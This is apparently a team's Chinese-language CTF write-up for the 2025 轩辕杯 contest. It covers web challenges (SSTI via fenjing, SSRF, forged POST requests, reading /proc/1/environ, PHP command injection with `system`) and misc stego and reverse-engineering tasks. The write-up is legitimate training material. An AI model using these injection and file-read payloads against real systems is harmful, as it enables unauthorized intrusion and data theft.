2025轩辕杯-WEB-题解
本次轩辕杯队伍排名情况如下,我们HnuSecStar排名第六
欢迎大家关注 HnuSec 公众号 官网
WEB
ezflask
直接fenjing梭哈了
python -m fenjing crack --url "27.25.151.26:31121" --detect-mode fast --inputs name --method GET
执行命令,nl /flag
ezssrf1.0
🔍?url=http:/@127.0.0.1/flag
访问目标 url
ezjs
js源码核心逻辑如下
🔍game._addSuccessFn(function (scoreNow) {
current_score.innerHTML = scoreNow
if (scoreNow === 100000000000) {
fetch('getflag.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'score=' + scoreNow
})
.then(response => response.text())
.then(data => {
alert("恭喜你!flag是:" + data);
})
.catch(error => {
console.error('错误:', error);
});
}
})
观察到最后的分数是发POST请求到后端,所以我们直接伪造请求包就行了
ez_web1
首页读取文章的地方存在任意文件读取
直接非预期读取/proc/1/environ,这里的环境变量没清除
签到
下一关:l23evel4.php
下一关levelThree.php
下一关level444Four.php
下一关level4545Five.php
函数放在控制台执行即可,下一关zzpufinish.php
拿到flag:flag{8ffe65a6-6cc2-49bf-ab11-e480bbc236a8}
ezrce
这道题的最后一个waf比较麻烦
(函数名) 在php里是声明为全局函数的意思
还有一个解法是用readgzfile函数(不展示了)
http://27.25.151.26:31030/?num=11111
POSTnew=\system&star=lsnew=\system&star=ls /new=\system&star=nl /flag
Misc
Terminal Hacker
第一种解法,
按照渗透的流程思路
按照命令执行就行
第二种解法
就是PY逆向思路
https://github.com/extremecoders-re/pyinstxtractor
先把 exe,解包一下
python pyinstxtractor.py .\HackMe.exe
得到解包后的文件夹
Py 反编译一下 1.pyc
🔍#!/usr/bin/env python
visit https://tool.lu/pyc/ for more information
Version: Python 3.10
import sys
flag = 'flag{Cysay_terminal_game_hacked_successfully}'
def print_intro():
print('欢迎来到《终端入侵者》!')
print('你是一名受雇的渗透专家,接到任务潜入一个神秘组织的服务器。')
print('你已进入该组织的外围系统,下一步需要靠你的技术深入核心...')
print('输入 help 查看可用命令。')
print('你的任务是:在完成任务之前,不能直接获取隐藏的 flag。')
def show_help():
print('可用命令:')
print(' help - 显示帮助信息')
print(' scan - 扫描当前网络环境')
print(' connect - 连接到目标主机')
print(' exploit - 利用系统漏洞')
print(' get_flag - 获取隐藏文件中的数据 (需要完成所有步骤)')
print(' exit - 退出系统')
def scan_network():
print('正在扫描网络...')
print('发现主机:192.168.56.66:22')
print('备注:该主机运行着疑似存在漏洞的远程服务')
def connect_host():
print('尝试连接 192.168.56.66:22 ...')
print('连接成功!欢迎来到远程主机。')
print('系统提示:发现可疑组件,可能存在提权漏洞。')
print('提示:你需要探索更多信息,才能进一步利用漏洞。')
def exploit_system():
print('尝试利用系统漏洞进行提权...')
print('提权成功!已获得 root 权限。')
print('你发现了一个隐藏文件:/home/root/secret.flag.enc')
print('提示:你需要先解密隐藏文件中的内容,才能拿到 flag。')
def decrypt_file():
print('你发现文件是加密的。你需要找到解密的线索。')
print('根据提示,可能需要查找某个日志文件来获得解密密钥。')
def find_key():
print('你在 /var/log 目录下找到了一些日志文件。')
print('其中一个文件包含了密钥:"key=SuperSecretKey"')
print('提示:现在可以尝试使用密钥解密隐藏的文件。')
def get_flag():
print('尝试读取 /home/root/secret.flag.enc ...')
print('你使用密钥解密文件,成功获得 flag:')
print(f'''{flag}''')
def main():
print_intro()
steps_completed = {
'scanned': False,
'connected': False,
'exploited': False,
'key_found': False }
WARNING: Decompyle incomplete
if
name
== '
__main__
':
main()
return None
直接得到 flag
音频的秘密
听音频是莫斯密码,哎我去,又拿到假flag
发现是音频隐写
一个石敢当压缩包
跟瓦学弟那题一样,设置000,发现编码过的信息
根据我们发现的key,尝试维吉尼亚密码解密
🔍flag{No_AAAA_BBBB_30ao6@_cccyyy_f0k_Y01_1}
隐藏的秘密
进来搜索搜到一个假的
word题直接解压缩
Cyyyy.xml,不是常规应该有的
发现16进制数据
04 30 3F 41 40 22 F9 79 F9 79 B4 79 79 79 79 4379 79 4A 79 43 1F 79 79 E0 43 79 B5 79 79 BC 7952 79 79 68 4A 79 52 1F 43 52 E0 79 52 8F 79 5286 79 16 79 79 2C 4A 43 2C 1F 79 2C DA 79 2C B579 16 86 79 F9 79 43 F9 4A 79 F9 25 79 F9 E0 79C3 B5 79 F9 86 43 D3 79 79 D3 70 79 D3 1F 79 E9E0 79 D3 B5 43 D3 86 79 AC 43 79 AC 4A 79 96 1F79 AC E0 43 AC B5 79 AC BC 79 86 79 79 BC 4A 7986 1F 43 86 E0 79 86 8F 79 86 86 4A 43 79 4A 794A 70 79 1F 4A 79 DA 4A 79 B5 4A 43 86 4A 52 7970 52 4A 4A 52 25 4A 52 E0 4A 68 B5 4A 52 86 702C 79 4A 2C 70 4A 2C 1F 4A 16 E0 4A 2C B5 70 2C86 4A F9 43 4A F9 4A 4A C3 1F 4A F9 E0 70 F9 B54A F9 BC 4A D3 79 4A E9 4A 4A D3 1F 70 D3 E0 4AD3 8F 4A D3 86 4A 96 79 4A AC 4A 70 AC 1F 4A ACDA 4A AC B5 4A 96 86 4A 86 79 70 86 4A 4A 86 254A 86 E0 4A BC B5 4A 86 86 25 79 79 1F 79 70 1F79 1F 1F 43 E0 1F 79 B5 25 79 86 1F 52 43 1F 524A 1F 68 1F 1F 52 E0 25 52 B5 1F 52 BC 1F 2C 791F 16 4A 1F 2C 1F 25 2C E0 1F 2C 8F 1F 2C 86 1FC3 79 1F F9 4A 25 F9 1F 1F F9 DA 1F F9 B5 1F C386 1F D3 79 25 D3 4A 1F D3 25 1F D3 E0 1F E9 B51F D3 86 25 AC 79 1F AC 70 1F AC 1F 1F 96 E0 1FAC B5 25 AC 86 1F 86 43 1F 86 4A 1F BC 1F 1F 86E0 25 86 B5 1F 86 BC E0 79 79 E0 43 4A E0 79 1FDA 79 E0 E0 79 8F E0 79 86 E0 68 79 E0 52 4A DA52 1F E0 52 DA E0 52 B5 E0 68 86 E0 2C 79 DA 2C4A E0 2C 25 E0 2C E0 E0 16 B5 E0 2C 86 DA F9 79E0 F9 70 E0 F9 1F E0 C3 E0 E0 F9 B5 DA F9 86 E0D3 43 E0 D3 4A E0 E9 1F E0 D3 E0 DA D3 B5 E0 D3BC E0 AC 79 E0 96 4A E0 AC 1F DA AC E0 E0 AC 8FE0 AC 86 E0 BC 79 E0 86 4A DA 86 1F E0 86 DA E086 B5 E0 BC 86 B5 79 79 8F 79 4A B5 79 25 B5 79E0 B5 43 B5 B5 79 86 8F 52 79 B5 52 70 B5 52 1FB5 68 E0 B5 52 B5 8F 52 86 B5 2C 43 B5 2C 4A B516 1F B5 2C E0 8F 2C B5 B5 2C BC B5 F9 79 B5 C34A B5 F9 1F 8F F9 E0 B5 F9 8F B5 F9 86 B5 E9 79B5 D3 4A 8F D3 1F B5 D3 DA B5 D3 B5 B5 E9 86 B5AC 79 8F AC 4A B5 AC 25 B5 AC E0 B5 96 B5 B5 AC86 8F 86 79 B5 86 70 B5 86 1F B5 BC E0 B5 86 B58F 86 86 86 79 43 86 79 4A 86 43 1F 86 79 E0 BC79 B5 86 79 BC 86 52 79 86 68 4A 86 52 1F BC 52E0 86 52 8F 86 52 86 86 16 79 86 2C 4A BC 2C 1F86 2C DA 86 2C B5 86 16 86 86 F9 79 BC F9 4A 86F9 25 86 F9 E0 86 C3 B5 86 F9 86 BC D3 79 86 D370 86 D3 1F 86 E9 E0 86 D3 B5 BC D3 86 86 AC 4386 AC 4A 86 96 1F 86 AC E0 BC AC B5 86 AC BC 8686 79 86 BC 4A 86 86 1F BC 86 E0 86 86 8F 86 8686 79 43 79 79 79 79 43 79 79 79 79 43 58 80 7D78 43 79 85 79 55 43 79 79 79 F9 43 F9 79 79 71BC 79 78 71 7D F3 D6 99 C7 F8 47 74 5B 4D 01 3359 BA FC 73 5E 3F 6D 81 29 21 38 F1 6E 54 75 DD41 48 18 05 F7 66 44 17 57 F0 08 1D 3C D3 5F 42E7 5D EA C8 DD B2 EF 73 28 C7 ED 60 D0 5C B4 E24F 30 D7 A5 D0 CB 24 31 E7 46 04 E5 75 33 0D D192 E0 43 FC 5B 46 03 CD 5F AA E6 33 E4 73 1C F96B 58 2B D2 1B CA DB 05 D3 D2 13 BE D2 2B 5A 6FD4 E3 EC EF AF CA 5B C0 2D E4 83 CC 5F 17 C8 3FB4 23 D6 F2 6F 52 A5 E1 5C C4 FF 7D C8 8A 17 A5CF 35 78 AE 74 75 B4 D4 A1 C5 FB A6 AB 54 02 6EB2 A1 D1 12 88 C5 64 90 A1 96 22 CE 0C 84 2F 9D45 20 14 AB FE 24 54 6E BF CF 2F 0A 91 BE D1 5A4E 94 E2 1B CD 1C C7 1E 0E D2 9F B5 03 37 94 AC0A 24 88 B7 14 82 CA 2D B3 FA 60 DE 4D D7 8E 4B37 EE C2 F2 96 77 6D 65 8E 19 9C D3 1A 4E 97 95D9 00 90 91 B6 9A 8F 27 45 E2 F9 11 92 AB FE 2486 3E 14 45 64 94 CD FB B6 54 FE C4 C7 40 BB 8FA4 D6 16 94 97 A5 42 89 A0 E0 90 E6 3E 7D 84 CF1E BA C9 DC 9E A7 10 3C F8 3F 21 00 B3 E0 1E 6606 45 FF 2E 19 00 A0 38 71 27 07 9C 4C EE 25 0649 D3 BF 64 16 51 37 91 99 0B 47 5F 61 19 FC 8FF8 91 58 FA EC 20 F1 98 FC 4E 93 8F 67 FF 64 0771 1A F1 B9 E8 EF D8 16 6C 87 FF 19 0D DD E0 9159 02 9B 28 D1 5A F6 07 EB EE 1A 04 F4 64 40 5D17 7E AF 21 1B E9 0A 23 CE 1D EA 80 5C 61 58 F36B F7 01 66 FE 09 3B F0 E7 01 64 13 D0 9C EC 11D7 A1 A3 05 4E 67 E0 9C E0 18 BB CF 5F E1 B2 A4D1 DF F3 6E 73 F1 E6 05 78 AF F0 1F E2 22 43 3065 04 21 B7 01 99 E1 40 9B C0 E6 E9 D6 7C A3 A2E2 18 6B 13 51 F8 30 13 B1 DF F6 C4 A7 50 9E FB26 EB DE 11 FE 5F 43 B3 5C F4 2A 5B 33 5E E6 D54B 93 5B D1 CE 2F AE DE E7 DF C3 40 93 D0 D1 CB86 33 D0 EB FA A3 00 10 EE 43 5F 43 D0 E3 06 B313 92 C5 C3 EB 81 5C E4 62 CB F1 9D F3 E7 BB 831A E5 BE D3 9E DC F1 79 8B 93 93 C2 AA 77 12 E1EA 15 7F 32 93 EE E6 EF 73 90 27 A1 CB D3 54 DA36 FF 13 D0 F1 E2 1B 20 51 F1 B6 33 C2 97 FB 4F83 E1 D5 E9 9E C3 32 94 E8 94 57 63 56 E3 80 CF83 57 E9 39 93 22 D6 E5 84 DF B2 15 83 76 43 C2DE F9 7A 5E 05 89 FD 3F 07 62 9E FF 9B 33 A5 92F2 5B E3 C0 89 F9 6D 82 02 16 80 73 9E 50 4B 804E 87 5E 5D F9 63 16 62 97 C0 BF EB 02 48 89 6202 71 8A 2C AC 7B F2 13 85 9F B3 C1 9E 8F 57 3E41 CA 8A 9C DF 61 92 8B D2 CB 85 52 EC E2 6F E28B F6 CD CB E2 CA FF C2 73 A5 10 D2 B4 A3 DE CD97 30 66 64 4A CD 34 3A 42 53 8A 89 9B 30 1C 9648 EF 14 8F 9A 11 DE D4 8F 99 15 CE 94 8F 98 09BE 54 8E 9F 0D C2 44 4F 90 28 9F B4 CC 9D 0E FA86 92 74 A6 2D 9A C4 B4 99 04 7A 27 26 99 06 6AF7 FB 98 35 57 D7 BB 98 E9 4E 77 E4 CC 3C 02 4472 C6 40 AE 65 F6 B3 81 1B C4 77 B9 76 46 F3 689E DA 3A C4 F6 9C B2 F3 47 36 9F E4 6A 82 BA A9E8 93 45 E6 B2 32 8F 25 BA ED 7D 9E A3 B6 E9 CFB2 F5 F8 B1 C6 16 72 DE AD AC 83 85 F8 CF D1 3E52 6F A1 CE 9A 57 7B DA 58 BE E1 BF 97 E7 36 6771 A9 56 A2 E2 79 9C 66 0A 12 6F 8F BF 6A 36 FE92 AF 22 A5 31 8A 67 16 16 39 D3 E8 06 36 AC 8FA9 5E 07 3D 8E BA 62 54 FD CE EE CE A6 EC 8B B9C6 B6 BF 91 FB E2 26 F4 05 9A C7 9C BE 72 F9 8BAA DD 8D 6D F1 C7 99 5C D7 17 26 38 22 89 73 7E82 71 A3 14 FB D2 D2 D9 95 99 C5 B8 75 DB F6 3C46 8A 66 BE F1 7C 43 83 C4 8D 10 3B 3A 98 96 49FF 40 8F 7A B5 46 C5 C2 DA AF 21 E1 42 54 3F 36FF 42 50 D8 70 52 7F F8 68 AF 69 0C DD 53 A7 8178 25 86 CC BA 70 BD D6 1D CF DB DE 77 AC AE B860 7F C8 11 18 F8 61 8B EF 81 07 85 30 C8 FD 50E3 A7 7C B2 C4 39 A6 60 C9 C4 69 7D E6 7C F0 31BC 5C 0B 93 32 88 8A 1B 49 DA 31 4E 48 35 E8 F5BB BB DA 68 54 DF 3D BE A4 F6 F0 40 37 67 64 BE7E 81 5D 83 C9 06 39 F5 2A 64 5C F4 BF A9 08 36C6 96 5A 9B 79 84 DF B1 4D B3 6D FD 08 95 59 5330 51 B1 AF 56 49 FC EB E5 67 76 76 C0 CB 08 034B EA E2 A7 26 81 11 FF 00 82 1C AB F0 46 32 9C64 30 F5 BB 47 FF AB 3F E2 CA 20 68 44 B0 3F F168 EE 0D 07 E5 5C 5C C8 F1 49 95 2A 68 F6 BB DA19 5A 54 D0 44 68 94 28 16 DA D7 5C 5B 96 11 8F33 5B 8A 1D 4F 65 E3 5B E2 8A B0 7E 3B 0A D6 DC15 9C 48 E8 80 35 C8 6C D0 EB 51 95 A4 62 04 E0CB 18 C1 F5 EE 7E 65 E4 53 34 60 42 14 7F AA 2E67 3F 9A 56 68 2F 88 97 A4 C9 18 B6 0A DD 79 603A 3B 4B 40 97 F0 E5 07 DB 59 8C 49 7C 3F 7B 45CD E6 BB 3D 2B BD 73 93 B6 C0 BF 4A E5 70 8F 9A54 C0 D0 82 F3 23 8D DB 5B B4 D1 3F 4E 89 A8 F703 6D 6E 78 78 79 42
xor一下,使用这个文件名会发现出现图片格式
二维码
哇哇哇瓦
分离出来,hint.txt
密码是场上存活的两位英雄的英文名字连起来(区分大小写)什么?你不知道密码在哪用?!那我问你,隐写都知道,明写看不见?拿你瞄准时的眼力仔细观察观察图片中的角落吧
--->我是瓦高手GekkoYoru
只有一半flag
右下角有东西
提取RGB
🔍from PIL import Image
import os
def extract_rgb_to_hex_reverse(image_path, output_path):
# 打开图像并转换为 RGB 模式
img = Image.open(image_path).convert("RGB")
# 提取所有像素的 RGB 值
pixels = list(img.getdata())
# 转换为十六进制字符串并逆序
hex_colors = ['{:02x}{:02x}{:02x}'.format(r, g, b) for r, g, b in pixels]
hex_colors.reverse()
# 写入文本文件
with open(output_path, 'w') as f:
for hex_color in hex_colors:
f.write(hex_color + '\n')
print(f"[+] 十六进制数据已保存到: {output_path}")
# 示例用法
if __name__ == "__main__":
extract_rgb_to_hex_reverse("瓦学弟天天开心.png", "rgb_hex_data.txt")
数据整合成压缩包,利用密码解码
🔍best_FPS_g@me!!}
只有一半flag
拼在一起
🔍flag{Val0rant_1s_th3_best_FPS_g@me!!}